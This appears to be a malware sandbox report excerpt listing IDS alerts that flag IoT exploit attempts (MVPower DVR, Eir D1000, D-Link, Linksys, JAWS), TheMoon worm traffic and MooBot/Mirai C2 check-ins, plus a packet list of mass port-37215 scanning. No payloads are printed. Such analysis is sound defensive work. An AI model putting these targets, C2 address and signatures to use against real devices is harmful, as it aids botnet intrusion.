03/21/24-05:25:51.822440	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45854	80	192.168.2.23	8.26.12.90
03/21/24-05:26:08.421621	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40210	80	192.168.2.23	212.53.214.96
03/21/24-05:26:33.789900	TCP	2018132	ET WORM TheMoon.linksys.router 2	52042	8080	192.168.2.23	115.3.111.124
03/21/24-05:26:35.849684	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40380	80	192.168.2.23	34.232.108.216
03/21/24-05:26:07.127341	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59722	7547	192.168.2.23	181.88.240.54
03/21/24-05:26:56.296894	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43888	7547	192.168.2.23	39.29.2.119
03/21/24-05:27:06.734022	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	32930	80	192.168.2.23	212.12.25.31
03/21/24-05:25:49.624593	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45576	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:58.447854	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47142	80	192.168.2.23	124.54.80.19
03/21/24-05:26:04.724775	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59880	7547	192.168.2.23	70.20.37.97
03/21/24-05:26:33.999651	TCP	2018132	ET WORM TheMoon.linksys.router 2	35782	8080	192.168.2.23	172.64.194.81
03/21/24-05:25:56.345298	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45670	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:31.365125	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	50622	55555	192.168.2.23	172.65.83.203
03/21/24-05:27:02.995574	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	36744	8080	192.168.2.23	216.55.111.157
03/21/24-05:26:45.091850	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56084	80	192.168.2.23	23.196.216.128
03/21/24-05:26:29.151497	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47000	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:03.309789	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33086	7547	192.168.2.23	14.90.173.204
03/21/24-05:27:06.960289	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	50872	80	192.168.2.23	212.179.180.9
03/21/24-05:26:01.330188	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44128	80	192.168.2.23	159.65.59.130
03/21/24-05:26:23.589489	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53832	7547	192.168.2.23	121.133.255.176
03/21/24-05:27:09.751271	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	41492	80	192.168.2.23	212.220.85.79
03/21/24-05:25:40.537463	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45434	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:36.879362	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47596	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:55.419578	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57848	7547	192.168.2.23	115.4.73.58
03/21/24-05:25:52.510973	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56362	80	192.168.2.23	164.90.233.195
03/21/24-05:25:53.195319	TCP	2018132	ET WORM TheMoon.linksys.router 2	45688	8080	192.168.2.23	172.66.136.67
03/21/24-05:26:09.733900	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46054	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:00.361602	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48178	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:58.253144	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59054	7547	192.168.2.23	119.202.137.200
03/21/24-05:26:09.578404	TCP	2018132	ET WORM TheMoon.linksys.router 2	56108	8080	192.168.2.23	66.242.144.69
03/21/24-05:25:59.303662	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45658	7547	192.168.2.23	223.133.107.197
03/21/24-05:26:45.801611	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	48108	55555	192.168.2.23	172.65.223.69
03/21/24-05:26:14.438666	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39210	7547	192.168.2.23	197.203.51.120
03/21/24-05:26:35.849684	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40380	80	192.168.2.23	34.232.108.216
03/21/24-05:26:54.932604	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60372	7547	192.168.2.23	177.106.151.127
03/21/24-05:26:20.987862	TCP	2018132	ET WORM TheMoon.linksys.router 2	56610	8080	192.168.2.23	139.162.84.202
03/21/24-05:26:12.100632	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58592	80	192.168.2.23	62.84.121.160
03/21/24-05:25:48.204553	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	58818	55555	192.168.2.23	172.65.21.247
03/21/24-05:27:12.456625	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33054	7547	192.168.2.23	50.48.213.123
03/21/24-05:25:59.718271	TCP	2018132	ET WORM TheMoon.linksys.router 2	54294	55555	192.168.2.23	172.65.160.132
03/21/24-05:26:16.106975	TCP	2018132	ET WORM TheMoon.linksys.router 2	59822	8080	192.168.2.23	172.67.75.255
03/21/24-05:26:51.585956	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	36102	80	192.168.2.23	23.202.52.135
03/21/24-05:26:08.571232	TCP	2018132	ET WORM TheMoon.linksys.router 2	37026	8080	192.168.2.23	172.65.244.87
03/21/24-05:26:51.585956	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	36102	80	192.168.2.23	23.202.52.135
03/21/24-05:27:05.503379	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48732	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:18.322398	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	33784	80	192.168.2.23	35.174.120.235
03/21/24-05:27:06.888800	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	57828	80	192.168.2.23	212.24.19.138
03/21/24-05:26:23.804238	TCP	2018132	ET WORM TheMoon.linksys.router 2	60764	55555	192.168.2.23	172.65.74.110
03/21/24-05:26:07.495646	TCP	2018132	ET WORM TheMoon.linksys.router 2	36994	8080	192.168.2.23	172.65.244.87
03/21/24-05:26:34.984030	TCP	2018132	ET WORM TheMoon.linksys.router 2	44246	8080	192.168.2.23	172.67.115.19
03/21/24-05:25:30.130629	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56846	80	192.168.2.23	23.102.39.67
03/21/24-05:25:44.993964	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33008	80	192.168.2.23	107.23.24.185
03/21/24-05:25:52.431289	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37936	80	192.168.2.23	137.184.158.188
03/21/24-05:26:12.143543	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45220	7547	192.168.2.23	72.107.204.77
03/21/24-05:27:06.960289	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	50872	80	192.168.2.23	212.179.180.9
03/21/24-05:26:13.174507	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	33340	55555	192.168.2.23	172.65.140.157
03/21/24-05:26:48.561655	TCP	2018132	ET WORM TheMoon.linksys.router 2	49198	8080	192.168.2.23	172.64.32.158
03/21/24-05:26:36.207699	TCP	2018132	ET WORM TheMoon.linksys.router 2	47686	8080	192.168.2.23	172.66.195.244
03/21/24-05:26:02.551305	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35852	7547	192.168.2.23	81.157.31.24
03/21/24-05:26:30.630525	TCP	2018132	ET WORM TheMoon.linksys.router 2	34514	8080	192.168.2.23	172.67.121.99
03/21/24-05:26:36.307142	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43402	80	192.168.2.23	195.85.255.250
03/21/24-05:26:41.579838	TCP	2018132	ET WORM TheMoon.linksys.router 2	51216	55555	192.168.2.23	172.65.198.155
03/21/24-05:26:44.138553	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57514	80	192.168.2.23	148.0.248.5
03/21/24-05:26:31.365125	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	50622	55555	192.168.2.23	172.65.83.203
03/21/24-05:25:41.480974	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59660	80	192.168.2.23	139.64.175.176
03/21/24-05:26:14.411122	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35780	7547	192.168.2.23	81.151.14.142
03/21/24-05:26:15.438079	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	46652	80	192.168.2.23	159.235.96.182
03/21/24-05:26:34.900891	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58050	80	192.168.2.23	40.84.132.201
03/21/24-05:26:44.603536	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47718	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:41.451703	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59048	80	192.168.2.23	104.66.236.242
03/21/24-05:27:07.390094	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	39500	80	192.168.2.23	212.43.115.25
03/21/24-05:26:18.663520	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	37890	55555	192.168.2.23	172.65.62.9
03/21/24-05:27:06.960289	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	50872	80	192.168.2.23	212.179.180.9
03/21/24-05:25:55.399044	TCP	2018132	ET WORM TheMoon.linksys.router 2	55006	8080	192.168.2.23	172.65.87.224
03/21/24-05:26:10.751815	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60010	80	192.168.2.23	23.7.23.153
03/21/24-05:27:09.751271	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	41492	80	192.168.2.23	212.220.85.79
03/21/24-05:26:36.307142	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43402	80	192.168.2.23	195.85.255.250
03/21/24-05:25:41.558869	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54120	80	192.168.2.23	89.213.40.119
03/21/24-05:26:00.166711	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43988	7547	192.168.2.23	77.25.132.174
03/21/24-05:26:18.568331	TCP	2018132	ET WORM TheMoon.linksys.router 2	52988	55555	192.168.2.23	172.65.243.233
03/21/24-05:27:11.485393	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54612	7547	192.168.2.23	179.52.84.164
03/21/24-05:26:15.293052	TCP	2018132	ET WORM TheMoon.linksys.router 2	34744	8080	192.168.2.23	188.120.197.16
03/21/24-05:25:20.754962	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45156	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:20.875687	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49002	7547	192.168.2.23	86.150.122.60
03/21/24-05:26:12.420573	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46456	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:16.370263	TCP	2018132	ET WORM TheMoon.linksys.router 2	60692	55555	192.168.2.23	172.65.102.206
03/21/24-05:26:22.284278	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53790	7547	192.168.2.23	121.133.255.176
03/21/24-05:27:06.734022	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	32930	80	192.168.2.23	212.12.25.31
03/21/24-05:26:33.790026	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	56020	8080	192.168.2.23	175.233.25.38
03/21/24-05:26:04.618639	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33134	7547	192.168.2.23	14.90.173.204
03/21/24-05:26:07.423580	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40046	7547	192.168.2.23	119.202.169.45
03/21/24-05:25:30.130629	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56846	80	192.168.2.23	23.102.39.67
03/21/24-05:26:30.489202	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56778	7547	192.168.2.23	74.73.120.108
03/21/24-05:25:59.601520	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39210	7547	192.168.2.23	110.66.27.9
03/21/24-05:25:59.628821	TCP	2018132	ET WORM TheMoon.linksys.router 2	40162	55555	192.168.2.23	172.65.30.84
03/21/24-05:26:55.614580	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37282	80	192.168.2.23	69.164.56.22
03/21/24-05:26:37.400500	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35048	80	192.168.2.23	185.146.84.90
03/21/24-05:27:02.312604	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	42752	80	192.168.2.23	51.89.133.14
03/21/24-05:25:59.718271	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	54294	55555	192.168.2.23	172.65.160.132
03/21/24-05:26:20.987862	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	56610	8080	192.168.2.23	139.162.84.202
03/21/24-05:26:11.345406	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35164	7547	192.168.2.23	34.43.23.196
03/21/24-05:27:14.066363	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48778	7547	192.168.2.23	119.195.203.79
03/21/24-05:27:13.705817	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46966	7547	192.168.2.23	94.187.117.182
03/21/24-05:26:12.168689	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	59494	80	192.168.2.23	45.76.25.172
03/21/24-05:26:55.581749	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36360	80	192.168.2.23	204.108.11.150
03/21/24-05:26:59.269798	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	54518	55555	192.168.2.23	172.65.40.27
03/21/24-05:26:20.987862	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	56610	8080	192.168.2.23	139.162.84.202
03/21/24-05:25:30.571767	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36358	80	192.168.2.23	2.37.157.65
03/21/24-05:25:54.424189	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	53498	55555	192.168.2.23	172.65.26.42
03/21/24-05:26:23.343950	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33830	7547	192.168.2.23	97.120.114.191
03/21/24-05:26:15.438079	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	46652	80	192.168.2.23	159.235.96.182
03/21/24-05:26:10.751815	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60010	80	192.168.2.23	23.7.23.153
03/21/24-05:26:12.168689	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	59494	80	192.168.2.23	45.76.25.172
03/21/24-05:26:57.980167	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53688	7547	192.168.2.23	183.123.13.78
03/21/24-05:26:21.733967	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46808	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:06.888800	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	57828	80	192.168.2.23	212.24.19.138
03/21/24-05:26:48.624199	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56126	80	192.168.2.23	4.208.97.243
03/21/24-05:25:41.877975	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45452	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:16.107377	TCP	2018132	ET WORM TheMoon.linksys.router 2	42040	8080	192.168.2.23	172.67.112.67
03/21/24-05:25:38.420020	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36470	80	192.168.2.23	153.121.72.178
03/21/24-05:26:47.306131	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47742	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:45.961783	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47736	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:37.400500	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35048	80	192.168.2.23	185.146.84.90
03/21/24-05:27:07.390094	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	39500	80	192.168.2.23	212.43.115.25
03/21/24-05:26:01.876080	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57624	80	192.168.2.23	207.188.224.215
03/21/24-05:26:13.174507	TCP	2018132	ET WORM TheMoon.linksys.router 2	33340	55555	192.168.2.23	172.65.140.157
03/21/24-05:26:13.877054	TCP	2018132	ET WORM TheMoon.linksys.router 2	34694	8080	192.168.2.23	104.17.130.5
03/21/24-05:26:25.427244	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46880	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:58.477997	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55826	80	192.168.2.23	121.254.156.199
03/21/24-05:25:59.026002	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45766	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:56.398389	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51494	7547	192.168.2.23	187.202.234.215
03/21/24-05:25:38.421617	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49932	80	192.168.2.23	23.128.248.125
03/21/24-05:26:27.043680	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	48242	55555	192.168.2.23	172.65.200.184
03/21/24-05:25:59.314457	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42208	7547	192.168.2.23	115.7.229.68
03/21/24-05:26:19.676948	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48928	7547	192.168.2.23	86.150.122.60
03/21/24-05:27:04.159044	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48722	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:53.982692	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	39646	80	192.168.2.23	212.154.221.41
03/21/24-05:25:48.204553	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	58818	55555	192.168.2.23	172.65.21.247
03/21/24-05:25:58.235399	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37358	7547	192.168.2.23	158.58.119.71
03/21/24-05:26:15.767792	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34336	7547	192.168.2.23	103.179.190.80
03/21/24-05:26:55.138594	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51476	7547	192.168.2.23	187.202.234.215
03/21/24-05:26:55.581749	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36360	80	192.168.2.23	204.108.11.150
03/21/24-05:26:03.381882	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45824	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:12.168737	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36182	7547	192.168.2.23	67.7.23.118
03/21/24-05:26:56.123656	TCP	2018132	ET WORM TheMoon.linksys.router 2	54934	8080	192.168.2.23	172.67.118.127
03/21/24-05:26:57.974296	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59042	7547	192.168.2.23	119.202.137.200
03/21/24-05:26:16.370263	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	60692	55555	192.168.2.23	172.65.102.206
03/21/24-05:26:23.536662	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58102	7547	192.168.2.23	27.147.114.253
03/21/24-05:26:11.241294	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37412	7547	192.168.2.23	45.53.188.176
03/21/24-05:26:11.995334	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56344	7547	192.168.2.23	66.74.206.108
03/21/24-05:26:30.698132	TCP	2018132	ET WORM TheMoon.linksys.router 2	45334	8080	192.168.2.23	172.233.155.253
03/21/24-05:27:06.734022	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	32930	80	192.168.2.23	212.12.25.31
03/21/24-05:26:44.138553	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57514	80	192.168.2.23	148.0.248.5
03/21/24-05:26:29.416319	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43868	80	192.168.2.23	20.37.141.249
03/21/24-05:25:38.420020	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36470	80	192.168.2.23	153.121.72.178
03/21/24-05:25:58.187607	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60224	7547	192.168.2.23	177.192.228.24
03/21/24-05:26:07.377306	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59730	7547	192.168.2.23	181.88.240.54
03/21/24-05:26:34.900891	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58050	80	192.168.2.23	40.84.132.201
03/21/24-05:26:05.715712	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45920	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:07.143508	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40030	7547	192.168.2.23	119.202.169.45
03/21/24-05:25:58.477997	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55826	80	192.168.2.23	121.254.156.199
03/21/24-05:26:23.271103	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44130	7547	192.168.2.23	121.136.181.89
03/21/24-05:25:30.571767	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36358	80	192.168.2.23	2.37.157.65
03/21/24-05:26:18.580595	TCP	2018132	ET WORM TheMoon.linksys.router 2	36950	8080	192.168.2.23	104.21.217.182
03/21/24-05:25:59.604781	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39218	7547	192.168.2.23	110.66.27.9
03/21/24-05:26:14.644991	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39596	7547	192.168.2.23	197.203.51.120
03/21/24-05:26:57.605123	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43980	7547	192.168.2.23	39.29.2.119
03/21/24-05:26:40.914070	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47674	65535	192.168.2.23	109.205.214.35

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2024 05:25:10.913688898 CET	10184	37215	192.168.2.23	197.223.246.184
Mar 21, 2024 05:25:10.913692951 CET	10184	37215	192.168.2.23	197.176.72.191
Mar 21, 2024 05:25:10.913708925 CET	10184	37215	192.168.2.23	197.26.158.172
Mar 21, 2024 05:25:10.913717031 CET	10184	37215	192.168.2.23	197.8.171.21
Mar 21, 2024 05:25:10.913719893 CET	10184	37215	192.168.2.23	197.11.217.94
Mar 21, 2024 05:25:10.913727999 CET	10184	37215	192.168.2.23	197.97.45.9
Mar 21, 2024 05:25:10.913738966 CET	10184	37215	192.168.2.23	197.0.252.46
Mar 21, 2024 05:25:10.913741112 CET	10184	37215	192.168.2.23	197.36.142.8
Mar 21, 2024 05:25:10.913742065 CET	10184	37215	192.168.2.23	197.0.233.106
Mar 21, 2024 05:25:10.913753986 CET	10184	37215	192.168.2.23	197.135.255.54
Mar 21, 2024 05:25:10.913757086 CET	10184	37215	192.168.2.23	197.251.208.90
Mar 21, 2024 05:25:10.913762093 CET	10184	37215	192.168.2.23	197.161.220.134
Mar 21, 2024 05:25:10.913764954 CET	10184	37215	192.168.2.23	197.128.218.203
Mar 21, 2024 05:25:10.913774014 CET	10184	37215	192.168.2.23	197.120.191.111
Mar 21, 2024 05:25:10.913779974 CET	10184	37215	192.168.2.23	197.13.81.24
Mar 21, 2024 05:25:10.913785934 CET	10184	37215	192.168.2.23	197.186.141.237
Mar 21, 2024 05:25:10.913789034 CET	10184	37215	192.168.2.23	197.80.31.246
Mar 21, 2024 05:25:10.913789034 CET	10184	37215	192.168.2.23	197.254.58.120
Mar 21, 2024 05:25:10.913789988 CET	10184	37215	192.168.2.23	197.83.215.18
Mar 21, 2024 05:25:10.913803101 CET	10184	37215	192.168.2.23	197.235.106.246
Mar 21, 2024 05:25:10.913826942 CET	10184	37215	192.168.2.23	197.82.109.7
Mar 21, 2024 05:25:10.913831949 CET	10184	37215	192.168.2.23	197.87.182.206
Mar 21, 2024 05:25:10.913831949 CET	10184	37215	192.168.2.23	197.95.197.118
Mar 21, 2024 05:25:10.913831949 CET	10184	37215	192.168.2.23	197.30.204.73
Mar 21, 2024 05:25:10.913839102 CET	10184	37215	192.168.2.23	197.79.88.172
Mar 21, 2024 05:25:10.913851976 CET	10184	37215	192.168.2.23	197.66.182.82
Mar 21, 2024 05:25:10.913851976 CET	10184	37215	192.168.2.23	197.130.21.182
Mar 21, 2024 05:25:10.913872957 CET	10184	37215	192.168.2.23	197.122.143.173
Mar 21, 2024 05:25:10.913872957 CET	10184	37215	192.168.2.23	197.251.250.215
Mar 21, 2024 05:25:10.913881063 CET	10184	37215	192.168.2.23	197.210.212.183
Mar 21, 2024 05:25:10.913882017 CET	10184	37215	192.168.2.23	197.73.152.67
Mar 21, 2024 05:25:10.913889885 CET	10184	37215	192.168.2.23	197.199.228.197
Mar 21, 2024 05:25:10.913894892 CET	10184	37215	192.168.2.23	197.10.204.84
Mar 21, 2024 05:25:10.913902998 CET	10184	37215	192.168.2.23	197.246.114.81
Mar 21, 2024 05:25:10.913913012 CET	10184	37215	192.168.2.23	197.22.248.54
Mar 21, 2024 05:25:10.913916111 CET	10184	37215	192.168.2.23	197.250.251.191
Mar 21, 2024 05:25:10.913913012 CET	10184	37215	192.168.2.23	197.254.45.47
Mar 21, 2024 05:25:10.913923979 CET	10184	37215	192.168.2.23	197.193.60.247
Mar 21, 2024 05:25:10.913928032 CET	10184	37215	192.168.2.23	197.173.133.194
Mar 21, 2024 05:25:10.913944960 CET	10184	37215	192.168.2.23	197.218.28.245
Mar 21, 2024 05:25:10.913949013 CET	10184	37215	192.168.2.23	197.222.34.64
Mar 21, 2024 05:25:10.913950920 CET	10184	37215	192.168.2.23	197.57.214.101
Mar 21, 2024 05:25:10.913957119 CET	10184	37215	192.168.2.23	197.200.250.220
Mar 21, 2024 05:25:10.913959980 CET	10184	37215	192.168.2.23	197.249.2.169
Mar 21, 2024 05:25:10.913959980 CET	10184	37215	192.168.2.23	197.21.39.16
Mar 21, 2024 05:25:10.913969994 CET	10184	37215	192.168.2.23	197.245.95.203
Mar 21, 2024 05:25:10.913979053 CET	10184	37215	192.168.2.23	197.106.204.128
Mar 21, 2024 05:25:10.913988113 CET	10184	37215	192.168.2.23	197.12.109.151
Mar 21, 2024 05:25:10.913996935 CET	10184	37215	192.168.2.23	197.235.225.145
Mar 21, 2024 05:25:10.913996935 CET	10184	37215	192.168.2.23	197.22.111.84
